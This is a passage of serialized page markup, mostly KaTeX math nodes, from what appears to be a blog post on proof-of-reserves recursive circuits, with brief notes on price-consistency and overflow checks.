8469],{"type":24,"tag":930,"props":98464,"children":98467},{"className":98465,"style":98466},[7126,24690],"margin-right:0.10764em;",[98468],{"type":30,"value":36173},{"type":24,"tag":930,"props":98470,"children":98472},{"className":98471},[7142],[98473],{"type":24,"tag":930,"props":98474,"children":98476},{"className":98475},[7147,24743],[98477,98507],{"type":24,"tag":930,"props":98478,"children":98480},{"className":98479},[7152],[98481,98502],{"type":24,"tag":930,"props":98482,"children":98484},{"className":98483,"style":96641},[7157],[98485],{"type":24,"tag":930,"props":98486,"children":98488},{"style":98487},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[98489,98493],{"type":24,"tag":930,"props":98490,"children":98492},{"className":98491,"style":7167},[7166],[],{"type":24,"tag":930,"props":98494,"children":98496},{"className":98495},[7172,7173,7174,7175],[98497],{"type":24,"tag":930,"props":98498,"children":98500},{"className":98499},[7126,24690,7175],[98501],{"type":30,"value":6854},{"type":24,"tag":930,"props":98503,"children":98505},{"className":98504},[24846],[98506],{"type":30,"value":24849},{"type":24,"tag":930,"props":98508,"children":98510},{"className":98509},[7152],[98511],{"type":24,"tag":930,"props":98512,"children":98514},{"className":98513,"style":96195},[7157],[98515],{"type":24,"tag":930,"props":98516,"children":98517},{},[],{"type":24,"tag":930,"props":98519,"children":98521},{"className":98520},[7126],[98522],{"type":30,"value":436},{"type":24,"tag":930,"props":98524,"children":98526},{"className":98525},[7126,24690],[98527],{"type":30,"value":33},{"type":24,"tag":930,"props":98529,"children":98531},{"className":98530},[7126,24690],[98532],{"type":30,"value":96371},{"type":24,"tag":930,"props":98534,"children":98536},{"className":98535},[7126,24690],[98537],{"type":30,"value":6343},{"type":24,"tag":930,"props":98539,"children":98541},{"className":98540,"style":96124},[7126,24690],[98542],{"type":30,"value":96127},{"type":24,"tag":930,"props":98544,"children":98546},{"className":98545},[7126,24690],[98547],{"type":30,"value":6854},{"type":24,"tag":930,"props":98549,"children":98551},{"className":98550},[7126,24690],[98552],{"type":30,"value":6268},{"type":24,"tag":930,"props":98554,"children":98556},{"className":98555,"style":96112},[7126],[98557],{"type":30,"value":6204},{"type":24,"tag":930,"props":98559,"children":98561},{"className":98560},[7126,24690],[98562],{"type":30,"value":98563},"in",{"type":24,"tag":930,"props":98565,"children":98567},{"className":98566},[7126,24690],[98568],{"type":30,"value":33},{"type":24,"tag":930,"props":98570,"children":98572},{"className":98571},[7126,24690],[98573],{"type":30,"value":96371},{"type":24,"tag":930,"props":98575,"children":98577},{"className":98576},[7126,24690],[98578],{"type":30,"value":24831},{"type":24,"tag":930,"props":98580,"children":98582},{"className":98581},[7126],[98583],{"type":30,"value":436},{"type":24,"tag":930,"props":98585,"children":98587},{"className":98586},[7126,24690],[98588],{"type":30,"value":37},{"type":24,"tag":930,"props":98590,"children":98592},{"className":98591},[7126,24690],[98593],{"type":30,"value":96103},{"type":24,"tag":930,"props":98595,"children":98597},{"className":98596},[7126,24690],[98598],{"type":30,"value":24831},{"type":24,"tag":930,"props":98600,"children":98602},{"className":98601,"style":96112},[7126],[98603],{"type":30,"value":6204},{"type":24,"tag":930,"props":98605,"children":98607},{"className":98606},[7126,24690],[98608],{"type":30,"value":96120},{"type":24,"tag":930,"props":98610,"children":98612},{"className":98611,"style":96124},[7126,24690],[98613],{"type":30,"value":96127},{"type":24,"tag":930,"props":98615,"children":98617},{"className":98616},[7126,24690],[98618],{"type":30,"value":96133},{"type":24,"tag":930,"props":98620,"children":98622},{"className":98621},[7126,24690],[98623],{"type":30,"value":96942},{"type":24,"tag":930,"props":98625,"children":98627},{"className":98626},[24818],[98628],{"type":30,"value":6849},{"type":24,"tag":930,"props":98630,"children":98632},{"className":98631},[7126,24690],[98633],{"type":30,"value":37},{"type":24,"tag":930,"props":98635,"children":98637},{"className":98636},[7126,24690],[98638],{"type":30,"value":96103},{"type":24,"tag":930,"props":98640,"children":98642},{"className":98641},[7126,24690],[98643],{"type":30,"value":24831},{"type":24,"tag":930,"props":98645,"children":98647},{"className":98646,"style":96112},[7126],[98648],{"type":30,"value":6204},{"type":24,"tag":930,"props":98650,"children":98652},{"className":98651},[7126,24690],[98653],{"type":30,"value":59493},{"type":24,"tag":930,"props":98655,"children":98657},{"className":98656},[7126,24690],[98658],{"type":30,"value":96371},{"type":24,"tag":930,"props":98660,"children":98662},{"className":98661},[7126,24690],[98663],{"type":30,"value":54222},{"type":24,"tag":930,"props":98665,"children":98667},{"className":98666},[24840],[98668],{"type":30,"value":18514},{"type":30,"value":510},{"type":24,"tag":275,"props":98671,"children":98672},{},[98673],{"type":30,"value":97502},{"type":24,"tag":100,"props":98675,"children":98676},{},[98677],{"type":24,"tag":156,"props":98678,"children":98680},{"className":98679},[7098,7099],[98681],{"type":24,"tag":930,"props":98682,"children":98684},{"className":98683},[7104],[98685],{"type":24,"tag":930,"props":98686,"children":98688},{"className":98687,"ariaHidden":7110},[7109],[98689,98795],{"type":24,"tag":930,"props":98690,"children":98692},{"className":98691},[7115],[98693,98697,98702,98707,98712,98717,98722,98727,98732,98737,98742,98747,98752,98757,98762,98767,98772,98777,98782,98786,98791],{"type":24,"tag":930,"props":98694,"children":98696},{"className":98695,"style":96054},[7120],[],{"type":24,"tag":930,"props":98698,"children":98700},{"className":98699},[7126,24690],[98701],{"type":30,"value":37},{"type":24,"tag":930,"props":98703,"children":98705},{"className":98704},[7126,24690],[98706],{"type":30,"value":96103},{"type":24,"tag":930,"props":98708,"children":98710},{"className":98709},[7126,24690],[98711],{"type":30,"value":24831},{"type":24,"tag":930,"props":98713,"children":98715},{"className":98714,"style":96112},[7126],[98716],{"type":30,"value":6204},{"type":24,"tag":930,"props":98718,"children":98720},{"className":98719},[7126,24690],[98721],{"type":30,"value":33},{"type":24,"tag":930,"props":98723,"children":98725},{"className":98724,"style":96112},[7126,24690],[98726],{"type":30,"value":96931},{"type":24,"tag":930,"props":98728,"children":98730},{"className":98729},[7126,24690],[98731],{"type":30,"value":6854},{"type":24,"tag":930,"props":98733,"children":98735},{"className":98734},[7126,24690],[98736],{"type":30,"value":96139},{"type":24,"tag":930,"props":98738,"children":98740},{"className":98739},[24818],[98741],{"type":30,"value":6849},{"type":24,"tag":930,"props":98743,"children":98745},{"className":98744},[7126,24690],[98746],{"type":30,"value":37},{"type":24,"tag":930,"props":98748,"children":98750},{"className":98749},[7126,24690],[98751],{"type":30,"value":96103},{"type":24,"tag":930,"props":98753,"children":98755},{"className":98754},[7126,24690],[98756],{"type":30,"value":24831},{"type":24,"tag":930,"props":98758,"children":98760},{"className":98759,"style":96112},[7126],[98761],{"type":30,"value":6204},{"type":24,"tag":930,"props":98763,"children":98765},{"className":98764},[7126,24690],[98766],{"type":30,"value":59493},{"type":24,"tag":930,"props":98768,"children":98770},{"className":98769},[7126,24690],[98771],{"type":30,"value":96371},{"type":24,"tag":930,"props":98773,"children":98775},{"className":98774},[7126,24690],[98776],{"type":30,"value":54222},{"type":24,"tag":930,"props":98778,"children":98780},{"className":98779},[24840],[98781],{"type":30,"value":18514},{"type":24,"tag":930,"props":98783,"children":98785},{"className":98784,"style":7304},[7206],[],{"type":24,"tag":930,"props":98787,"children":98789},{"className":98788},[7309],[98790],{"type":30,"value":1239},{"type":24,"tag":930,"props":98792,"children":98794},{"className":98793,"style":7304},[7206],[],{"type":24,"tag":930,"props":98796,"children":98798},{"className":98797},[7115],[98799,98803,98808,98813,98818,98823,98828,98885,98890,98895,98900,98905,98910,98915,98920,98925,98930,98935,98940,98945,98950,98955,98960,98965,98970,98975,98980,98985,98990,98995,99000],{"type":24,"tag":930,"props":98800,"children":98802},{"className":98801,"style":96054},[7120],[],{"type":24,"tag":930,"props":98804,"children":98806},{"className":98805},[7126,24690],[98807],{"type":30,"value":13758},{"type":24,"tag":930,"props":98809,"children":98811},{"className":98810},[7126,24690],[98812],{"type":30,"value":96371},{"type":24,"tag":930,"props":98814,"children":98816},{"className":98815},[7126,24690],[98817],{"type":30,"value":6343},{"type":24,"tag":930,"props":98819,"children":98821},{"className":98820},[7126,24690],[98822],{"type":30,"value":33},{"type":24,"tag":930,"props":98824,"children":98826},{"className":98825},[7126,24690],[98827],{"type":30,"value":98458},{"type":24,"tag":930,"props":98829,"children":98831},{"className":98830},[7126],[98832,98837],{"type":24,"tag":930,"props":98833,"children":98835},{"className":98834,"style":98466},[7126,24690],[98836],{"type":30,"value":36173},{"type":24,"tag":930,"props":98838,"children":98840},{"className":98839},[7142],[98841],{"type":24,"tag":930,"props":98842,"children":98844},{"className":98843},[7147,24743],[98845,98874],{"type":24,"tag":930,"props":98846,"children":98848},{"className":98847},[7152],[98849,98869],{"type":24,"tag":930,"props":98850,"children":98852},{"className":98851,"style":96641},[7157],[98853],{"type":24,"tag":930,"props":98854,"children":98855},{"style":98487},[98856,98860],{"type":24,"tag":930,"props":98857,"children":98859},{"className":98858,"style":7167},[7166],[],{"type":24,"tag":930,"props":98861,"children":98863},{"className":98862},[7172,7173,7174,7175],[98864],{"type":24,"tag":930,"props":98865,"children":98867},{"className":98866},[7126,24690,7175],[98868],{"type":30,"value":6854},{"type":24,"tag":930,"props":98870,"children":98872},{"className":98871},[24846],[98873],{"type":30,"value":24849},{"type":24,"tag":930,"props":98875,"children":98877},{"className":98876},[7152],[98878],{"type":24,"tag":930,"props":98879,"children":98881},{"className":98880,"style":96195},[7157],[98882],{"type":24,"tag":930,"props":98883,"children":98884},{},[],{"type":24,"tag":930,"props":98886,"children":98888},{"className":98887},[7126],[98889],{"type":30,"value":436},{"type":24,"tag":930,"props":98891,"children":98893},{"className":98892},[7126,24690],[98894],{"type":30,"value":33},{"type":24,"tag":930,"props":98896,"children":98898},{"className":98897},[7126,24690],[98899],{"type":30,"value":96371},{"type":24,"tag":930,"props":98901,"children":98903},{"className":98902},[7126,24690],[98904],{"type":30,"value":6343},{"type":24,"tag":930,"props":98906,"children":98908},{"className":98907,"style":96124},[7126,24690],[98909],{"type":30,"value":96127},{"type":24,"tag":930,"props":98911,"children":98913},{"className":98912},[7126,24690],[98914],{"type":30,"value":6854},{"type":24,"tag":930,"props":98916,"children":98918},{"className":98917},[7126,24690],[98919],{"type":30,"value":6268},{"type":24,"tag":930,"props":98921,"children":98923},{"className":98922,"style":96112},[7126],[98924],{"type":30,"value":6204},{"type":24,"tag":930,"props":98926,"children":98928},{"className":98927},[7126,24690],[98929],{"type":30,"value":98563},{"type":24,"tag":930,"props":98931,"children":98933},{"className":98932},[7126,24690],[98934],{"type":30,"value":33},{"type":24,"tag":930,"props":98936,"children":98938},{"className":98937},[7126,24690],[98939],{"type":30,"value":96371},{"type":24,"tag":930,"props":98941,"children":98943},{"className":98942},[7126,24690],[98944],{"type":30,"value":24831},{"type":24,"tag":930,"props":98946,"children":98948},{"className":98947},[7126],[98949],{"type":30,"value":436},{"type":24,"tag":930,"props":98951,"children":98953},{"className":98952},[7126,24690],[98954],{"type":30,"value":37},{"type":24,"tag":930,"props":98956,"children":98958},{"className":98957},[7126,24690],[98959],{"type":30,"value":96103},{"type":24,"tag":930,"props":98961,"children":98963},{"className":98962},[7126,24690],[98964],{"type":30,"value":24831},{"type":24,"tag":930,"props":98966,"children":98968},{"className":98967,"style":96112},[7126],[98969],{"type":30,"value":6204},{"type":24,"tag":930,"props":98971,"children":98973},{"className":98972},[7126,24690],[98974],{"type":30,"value":33},{"type":24,"tag":930,"props":98976,"children":98978},{"className":98977,"style":96112},[7126,24690],[98979],{"type":30,"value":96931},{"type":24,"tag":930,"props":98981,"children":98983},{"className":98982},[7126,24690],[98984],{"type":30,"value":6854},{"type":24,"tag":930,"props":98986,"children":98988},{"className":98987},[7126,24690],[98989],{"type":30,"value":96942},{"type":24,"tag":930,"props":98991,"children":98993},{"className":98992},[24818],[98994],{"type":30,"value":6849},{"type":24,"tag":930,"props":98996,"children":98998},{"className":98997},[7126],[98999],{"type":30,"value":1818},{"type":24,"tag":930,"props":99001,"children":99003},{"className":99002},[24840],[99004],{"type":30,"value":18514},{"type":24,"tag":100,"props":99006,"children":99007},{},[99008,99366,99367],{"type":24,"tag":156,"props":99009,"children":99011},{"className":99010},[7098,7099],[99012],{"type":24,"tag":930,"props":99013,"children":99015},{"className":99014},[7104],[99016],{"type":24,"tag":930,"props":99017,"children":99019},{"className":99018,"ariaHidden":7110},[7109],[99020,99126],{"type":24,"tag":930,"props":99021,"children":99023},{"className":99022},[7115],[99024,99028,99033,99038,99043,99048,99053,99058,99063,99068,99073,99078,99083,99088,99093,99098,99103,99108,99113,99117,99122],{"type":24,"tag":930,"props":99025,"children":99027},{"className":99026,"style":96054},[7120],[],{"type":24,"tag":930,"props":99029,"children":99031},{"className":99030},[7126,24690],[99032],{"type":30,"value":37},{"type":24,"tag":930,"props":99034,"children":99036},{"className":99035},[7126,24690],[99037],{"type":30,"value":96103},{"type":24,"tag":930,"props":99039,"children":99041},{"className":99040},[7126,24690],[99042],{"type":30,"value":24831},{"type":24,"tag":930,"props":99044,"children":99046},{"className":99045,"style":96112},[7126],[99047],{"type":30,"value":6204},{"type":24,"tag":930,"props":99049,"children":99051},{"className":99050},[7126,24690],[99052],{"type":30,"value":33},{"type":24,"tag":930,"props":99054,"children":99056},{"className":99055,"style":96112},[7126,24690],[99057],{"type":30,"value":96931},{"type":24,"tag":930,"props":99059,"children":99061},{"className":99060},[7126,24690],[99062],{"type":30,"value":6854},{"type":24,"tag":930,"props":99064,"children":99066},{"className":99065},[7126,24690],[99067],{"type":30,"value":96139},{"type":24,"tag":930,"props":99069,"children":99071},{"className":99070},[24818],[99072],{"type":30,"value":6849},{"type":24,"tag":930,"props":99074,"children":99076},{"className":99075},[7126,24690],[99077],{"type":30,"value":37},{"type":24,"tag":930,"props":99079,"children":99081},{"className":99080},[7126,24690],[99082],{"type":30,"value":96103},{"type":24,"tag":930,"props":99084,"children":99086},{"className":99085},[7126,24690],[99087],{"type":30,"value":24831},{"type":24,"tag":930,"props":99089,"children":99091},{"className":99090,"style":96112},[7126],[99092],{"type":30,"value":6204},{"type":24,"tag":930,"props":99094,"children":99096},{"className":99095},[7126,24690],[99097],{"type":30,"value":59493},{"type":24,"tag":930,"props":99099,"children":99101},{"className":99100},[7126,24690],[99102],{"type":30,"value":96371},{"type":24,"tag":930,"props":99104,"children":99106},{"className":99105},[7126,24690],[99107],{"type":30,"value":54222},{"type":24,"tag":930,"props":99109,"children":99111},{"className":99110},[24840],[99112],{"type":30,"value":18514},{"type":24,"tag":930,"props":99114,"children":99116},{"className":99115,"style":7304},[7206],[],{"type":24,"tag":930,"props":99118,"children":99120},{"className":99119},[7309],[99121],{"type":30,"value":1239},{"type":24,"tag":930,"props":99123,"children":99125},{"className":99124,"style":7304},[7206],[],{"type":24,"tag":930,"props":99127,"children":99129},{"className":99128},[7115],[99130,99134,99139,99144,99149,99154,99159,99216,99221,99226,99231,99236,99241,99246,99251,99256,99261,99266,99271,99276,99281,99286,99291,99296,99301,99306,99311,99316,99321,99326,99331,99336,99341,99346,99351,99356,99361],{"type":24,"tag":930,"props":99131,"children":99133},{"className":99132,"style":96054},[7120],[],{"type":24,"tag":930,"props":99135,"children":99137},{"className":99136},[7126,24690],[99138],{"type":30,"value":13758},{"type":24,"tag":930,"props":99140,"children":99142},{"className":99141},[7126,24690],[99143],{"type":30,"value":96371},{"type":24,"tag":930,"props":99145,"children":99147},{"className":99146},[7126,24690],[99148],{"type":30,"value":6343},{"type":24,"tag":930,"props":99150,"children":99152},{"className":99151},[7126,24690],[99153],{"type":30,"value":33},{"type":24,"tag":930,"props":99155,"children":99157},{"className":99156},[7126,24690],[99158],{"type":30,"value":98458},{"type":24,"tag":930,"props":99160,"children":99162},{"className":99161},[7126],[99163,99168],{"type":24,"tag":930,"props":99164,"children":99166},{"className":99165,"style":98466},[7126,24690],[99167],{"type":30,"value":36173},{"type":24,"tag":930,"props":99169,"children":99171},{"className":99170},[7142],[99172],{"type":24,"tag":930,"props":99173,"children":99175},{"className":99174},[7147,24743],[99176,99205],{"type":24,"tag":930,"props":99177,"children":99179},{"className":99178},[7152],[99180,99200],{"type":24,"tag":930,"props":99181,"children":99183},{"className":99182,"style":96641},[7157],[99184],{"type":24,"tag":930,"props":99185,"children":99186},{"style":98487},[99187,99191],{"type":24,"tag":930,"props":99188,"children":99190},{"className":99189,"style":7167},[7166],[],{"type":24,"tag":930,"props":99192,"children":99194},{"className":99193},[7172,7173,7174,7175],[99195],{"type":24,"tag":930,"props":99196,"children":99198},{"className":99197},[7126,24690,7175],[99199],{"type":30,"value":6854},{"type":24,"tag":930,"props":99201,"children":99203},{"className":99202},[24846],[99204],{"type":30,"value":24849},{"type":24,"tag":930,"props":99206,"children":99208},{"className":99207},[7152],[99209],{"type":24,"tag":930,"props":99210,"children":99212},{"className":99211,"style":96195},[7157],[99213],{"type":24,"tag":930,"props":99214,"children":99215},{},[],{"type":24,"tag":930,"props":99217,"children":99219},{"className":99218},[7126],[99220],{"type":30,"value":436},{"type":24,"tag":930,"props":99222,"children":99224},{"className":99223},[7126,24690],[99225],{"type":30,"value":33},{"type":24,"tag":930,"props":99227,"children":99229},{"className":99228},[7126,24690],[99230],{"type":30,"value":96371},{"type":24,"tag":930,"props":99232,"children":99234},{"className":99233},[7126,24690],[99235],{"type":30,"value":6343},{"type":24,"tag":930,"props":99237,"children":99239},{"className":99238,"style":96124},[7126,24690],[99240],{"type":30,"value":96127},{"type":24,"tag":930,"props":99242,"children":99244},{"className":99243},[7126,24690],[99245],{"type":30,"value":6854},{"type":24,"tag":930,"props":99247,"children":99249},{"className":99248},[7126,24690],[99250],{"type":30,"value":6268},{"type":24,"tag":930,"props":99252,"children":99254},{"className":99253,"style":96112},[7126],[99255],{"type":30,"value":6204},{"type":24,"tag":930,"props":99257,"children":99259},{"className":99258},[7126,24690],[99260],{"type":30,"value":98563},{"type":24,"tag":930,"props":99262,"children":99264},{"className":99263},[7126,24690],[99265],{"type":30,"value":33},{"type":24,"tag":930,"props":99267,"children":99269},{"className":99268},[7126,24690],[99270],{"type":30,"value":96371},{"type":24,"tag":930,"props":99272,"children":99274},{"className":99273},[7126,24690],[99275],{"type":30,"value":24831},{"type":24,"tag":930,"props":99277,"children":99279},{"className":99278},[7126],[99280],{"type":30,"value":436},{"type":24,"tag":930,"props":99282,"children":99284},{"className":99283},[7126,24690],[99285],{"type":30,"value":37},{"type":24,"tag":930,"props":99287,"children":99289},{"className":99288},[7126,24690],[99290],{"type":30,"value":96103},{"type":24,"tag":930,"props":99292,"children":99294},{"className":99293},[7126,24690],[99295],{"type":30,"value":24831},{"type":24,"tag":930,"props":99297,"children":99299},{"className":99298,"style":96112},[7126],[99300],{"type":30,"value":6204},{"type":24,"tag":930,"props":99302,"children":99304},{"className":99303},[7126,24690],[99305],{"type":30,"value":33},{"type":24,"tag":930,"props":99307,"children":99309},{"className":99308,"style":96112},[7126,24690],[99310],{"type":30,"value":96931},{"type":24,"tag":930,"props":99312,"children":99314},{"className":99313},[7126,24690],[99315],{"type":30,"value":6854},{"type":24,"tag":930,"props":99317,"children":99319},{"className":99318},[7126,24690],[99320],{"type":30,"value":96942},{"type":24,"tag":930,"props":99322,"children":99324},{"className":99323},[24818],[99325],{"type":30,"value":6849},{"type":24,"tag":930,"props":99327,"children":99329},{"className":99328},[7126,24690],[99330],{"type":30,"value":37},{"type":24,"tag":930,"props":99332,"children":99334},{"className":99333},[7126,24690],[99335],{"type":30,"value":96103},{"type":24,"tag":930,"props":99337,"children":99339},{"className":99338},[7126,24690],[99340],{"type":30,"value":24831},{"type":24,"tag":930,"props":99342,"children":99344},{"className":99343,"style":96112},[7126],[99345],{"type":30,"value":6204},{"type":24,"tag":930,"props":99347,"children":99349},{"className":99348},[7126,24690],[99350],{"type":30,"value":59493},{"type":24,"tag":930,"props":99352,"children":99354},{"className":99353},[7126,24690],[99355],{"type":30,"value":96371},{"type":24,"tag":930,"props":99357,"children":99359},{"className":99358},[7126,24690],[99360],{"type":30,"value":54222},{"type":24,"tag":930,"props":99362,"children":99364},{"className":99363},[24840],[99365],{"type":30,"value":18514},{"type":30,"value":510},{"type":24,"tag":275,"props":99368,"children":99369},{},[99370],{"type":30,"value":99371},"(verifies if all asset prices are the same)",{"type":24,"tag":100,"props":99373,"children":99374},{},[99375,99754,99755],{"type":24,"tag":156,"props":99376,"children":99378},{"className":99377},[7098,7099],[99379],{"type":24,"tag":930,"props":99380,"children":99382},{"className":99381},[7104],[99383],{"type":24,"tag":930,"props":99384,"children":99386},{"className":99385,"ariaHidden":7110},[7109],[99387,99468],{"type":24,"tag":930,"props":99388,"children":99390},{"className":99389},[7115],[99391,99395,99400,99405,99410,99415,99420,99425,99430,99435,99440,99445,99450,99455,99459,99464],{"type":24,"tag":930,"props":99392,"children":99394},{"className":99393,"style":97525},[7120],[],{"type":24,"tag":930,"props":99396,"children":99398},{"className":99397},[7126,24690],[99399],{"type":30,"value":54222},{"type":24,"tag":930,"props":99401,"children":99403},{"className":99402,"style":96112},[7126,24690],[99404],{"type":30,"value":97537},{"type":24,"tag":930,"props":99406,"children":99408},{"className":99407,"style":97541},[7126,24690],[99409],{"type":30,"value":91752},{"type":24,"tag":930,"props":99411,"children":99413},{"className":99412,"style":96124},[7126,24690],[99414],{"type":30,"value":96127},{"type":24,"tag":930,"props":99416,"children":99418},{"className":99417},[7126,24690],[99419],{"type":30,"value":54543},{"type":24,"tag":930,"props":99421,"children":99423},{"className":99422,"style":96112},[7126],[99424],{"type":30,"value":6204},{"type":24,"tag":930,"props":99426,"children":99428},{"className":99427},[7126,24690],[99429],{"type":30,"value":24831},{"type":24,"tag":930,"props":99431,"children":99433},{"className":99432},[7126,24690],[99434],{"type":30,"value":97569},{"type":24,"tag":930,"props":99436,"children":99438},{"className":99437,"style":96112},[7126],[99439],{"type":30,"value":6204},{"type":24,"tag":930,"props":99441,"children":99443},{"className":99442},[7126,24690],[99444],{"type":30,"value":97580},{"type":24,"tag":930,"props":99446,"children":99448},{"className":99447},[7126,24690],[99449],{"type":30,"value":13758},{"type":24,"tag":930,"props":99451,"children":99453},{"className":99452},[7126,24690],[99454],{"type":30,"value":87415},{"type":24,"tag":930,"props":99456,"children":99458},{"className":99457,"style":7304},[7206],[],{"type":24,"tag":930,"props":99460,"children":99462},{"className":99461},[7309],[99463],{"type":30,"value":1239},{"type":24,"tag":930,"props":99465,"children":99467},{"className":99466,"style":7304},[7206],[],{"type":24,"tag":930,"props":99469,"children":99471},{"className":99470},[7115],[99472,99476,99481,99486,99491,99496,99501,99506,99511,99516,99521,99578,99583,99587,99592,99597,99654,99659,99663,99668,99673,99677,99682,99687,99749],{"type":24,"tag":930,"props":99473,"children":99475},{"className":99474,"style":7227},[7120],[],{"type":24,"tag":930,"props":99477,"children":99479},{"className":99478,"style":24691},[7126,24690],[99480],{"type":30,"value":24694},{"type":24,"tag":930,"props":99482,"children":99484},{"className":99483},[7126,24690],[99485],{"type":30,"value":96066},{"type":24,"tag":930,"props":99487,"children":99489},{"className":99488},[7126,24690],[99490],{"type":30,"value":6854},{"type":24,"tag":930,"props":99492,"children":99494},{"className":99493},[7126,24690],[99495],{"type":30,"value":73649},{"type":24,"tag":930,"props":99497,"children":99499},{"className":99498},[7126,24690],[99500],{"type":30,"value":96082},{"type":24,"tag":930,"props":99502,"children":99504},{"className":99503},[7126,24690],[99505],{"type":30,"value":59493},{"type":24,"tag":930,"props":99507,"children":99509},{"className":99508},[24818],[99510],{"type":30,"value":1010},{"type":24,"tag":930,"props":99512,"children":99514},{"className":99513},[7126,24690],[99515],{"type":30,"value":97580},{"type":24,"tag":930,"props":99517,"children":99519},{"className":99518},[7126,24690],[99520],{"type":30,"value":13758},{"type":24,"tag":930,"props":99522,"children":99524},{"className":99523},[7126],[99525,99530],{"type":24,"tag":930,"props":99526,"children":99528},{"className":99527},[7126,24690],[99529],{"type":30,"value":87415},{"type":24,"tag":930,"props":99531,"children":99533},{"className":99532},[7142],[99534],{"type":24,"tag":930,"props":99535,"children":99537},{"className":99536},[7147,24743],[99538,99567],{"type":24,"tag":930,"props":99539,"children":99541},{"className":99540},[7152],[99542,99562],{"type":24,"tag":930,"props":99543,"children":99545},{"className":99544,"style":96164},[7157],[99546],{"type":24,"tag":930,"props":99547,"children":99548},{"style":96168},[99549,99553],{"type":24,"tag":930,"props":99550,"children":99552},{"className":99551,"style":7167},[7166],[],{"type":24,"tag":930,"props":99554,"children":99556},{"className":99555},[7172,7173,7174,7175],[99557],{"type":24,"tag":930,"props":99558,"children":99560},{"className":99559},[7126,7175],[99561],{"type":30,"value":1818},{"type":24,"tag":930,"props":99563,"children":99565},{"className":99564},[24846],[99566],{"type":30,"value":24849},{"type":24,"tag":930,"props":99568,"children":99570},{"className":99569},[7152],[99571],{"type":24,"tag":930,"props":99572,"children":99574},{"className":99573,"style":96195},[7157],[99575],{"type":24,"tag":930,"props":99576,"children":99577},{},[],{"type":24,"tag":930,"props":99579,"children":99581},{"className":99580},[7238],[99582],{"type":30,"value":7241},{"type":24,"tag":930,"props":99584,"children":99586},{"className":99585,"style":7245},[7206],[],{"type":24,"tag":930,"props":99588,"children":99590},{"className":99589},[7126,24690],[99591],{"type":30,"value":97580},{"type":24,"tag":930,"props":99593,"children":99595},{"className":99594},[7126,24690],[99596],{"type":30,"value":13758},{"type":24,"tag":930,"props":99598,"children":99600},{"className":99599},[7126],[99601,99606],{"type":24,"tag":930,"props":99602,"children":99604},{"className":99603},[7126,24690],[99605],{"type":30,"value":87415},{"type":24,"tag":930,"props":99607,"children":99609},{"className":99608},[7142],[99610],{"type":24,"tag":930,"props":99611,"children":99613},{"className":99612},[7147,24743],[99614,99643],{"type":24,"tag":930,"props":99615,"children":99617},{"className":99616},[7152],[99618,99638],{"type":24,"tag":930,"props":99619,"children":99621},{"className":99620,"style":96164},[7157],[99622],{"type":24,"tag":930,"props":99623,"children":99624},{"style":96168},[99625,99629],{"type":24,"tag":930,"props":99626,"children":99628},{"className":99627,"style":7167},[7166],[],{"type":24,"tag":930,"props":99630,"children":99632},{"className":99631},[7172,7173,7174,7175],[99633],{"type":24,"tag":930,"props":99634,"children":99636},{"className":99635},[7126,7175],[99637],{"type":30,"value":7129},{"type":24,"tag":930,"props":99639,"children":99641},{"className":99640},[24846],[99642],{"type":30,"value":24849},{"type":24,"tag":930,"props":99644,"children":99646},{"className":99645},[7152],[99647],{"type":24,"tag":930,"props":99648,"children":99650},{"className":99649,"style":96195},[7157],[99651],{"type":24,"tag":930,"props":99652,"children":99653},{},[],{"type":24,"tag":930,"props":99655,"children":99657},{"className":99656},[7238],[99658],{"type":30,"value":7241},{"type":24,"tag":930,"props":99660,"children":99662},{"className":99661,"style":7245},[7206],[],{"type":24,"tag":930,"props":99664,"children":99666},{"className":99665},[7126],[99667],{"type":30,"value":12699},{"type":24,"tag":930,"props":99669,"children":99671},{"className":99670},[7238],[99672],{"type":30,"value":7241},{"type":24,"tag":930,"props":99674,"children":99676},{"className":99675,"style":7245},[7206],[],{"type":24,"tag":930,"props":99678,"children":99680},{"className":99679},[7126,24690],[99681],{"type":30,"value":97580},{"type":24,"tag":930,"props":99683,"children":99685},{"className":99684},[7126,24690],[99686],{"type":30,"value":13758},{"type":24,"tag":930,"props":99688,"children":99690},{"className":99689},[7126],[99691,99696],{"type":24,"tag":930,"props":99692,"children":99694},{"className":99693},[7126,24690],[99695],{"type":30,"value":87415},{"type":24,"tag":930,"props":99697,"children":99699},{"className":99698},[7142],[99700],{"type":24,"tag":930,"props":99701,"children":99703},{"className":99702},[7147,24743],[99704,99738],{"type":24,"tag":930,"props":99705,"children":99707},{"className":99706},[7152],[99708,99733],{"type":24,"tag":930,"props":99709,"children":99711},{"className":99710,"style":96164},[7157],[99712],{"type":24,"tag":930,"props":99713,"children":99714},{"style":96168},[99715,99719],{"type":24,"tag":930,"props":99716,"children":99718},{"className":99717,"style":7167},[7166],[],{"type":24,"tag":930,"props":99720,"children":99722},{"className":99721},[7172,7173,7174,7175],[99723],{"type":24,"tag":930,"props":99724,"children":99726},{"className":99725},[7126,7175],[99727],{"type":24,"tag":930,"props":99728,"children":99730},{"className":99729},[7126,7175],[99731],{"type":30,"value":99732},"31",{"type":24,"tag":930,"props":99734,"children":99736},{"className":99735},[24846],[99737],{"type":30,"value":24849},{"type":24,"tag":930,"props":99739,"children":99741},{"className":99740},[7152],[99742],{"type":24,"tag":930,"props":99743,"children":99745},{"className":99744,"style":96195},[7157],[99746],{"type":24,"tag":930,"props":99747,"children":99748},{},[],{"type":24,"tag":930,"props":99750,"children":99752},{"className":99751},[24840],[99753],{"type":30,"value":6249},{"type":30,"value":510},{"type":24,"tag":275,"props":99756,"children":99757},{},[99758],{"type":30,"value":97900},{"type":24,"tag":100,"props":99760,"children":99761},{},[99762,99767,99768],{"type":24,"tag":6032,"props":99763,"children":99764},{},[99765],{"type":30,"value":99766},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":30,"value":510},{"type":24,"tag":275,"props":99769,"children":99770},{},[99771],{"type":30,"value":98184},{"type":24,"tag":33,"props":99773,"children":99774},{},[99775],{"type":30,"value":99776},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":33,"props":99778,"children":99779},{},[99780],{"type":24,"tag":140,"props":99781,"children":99783},{"alt":142,"src":99782},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":68,"props":99785,"children":99787},{"id":99786},"global-proof-and-inclusion-proofs",[99788],{"type":30,"value":99789},"Global Proof and Inclusion 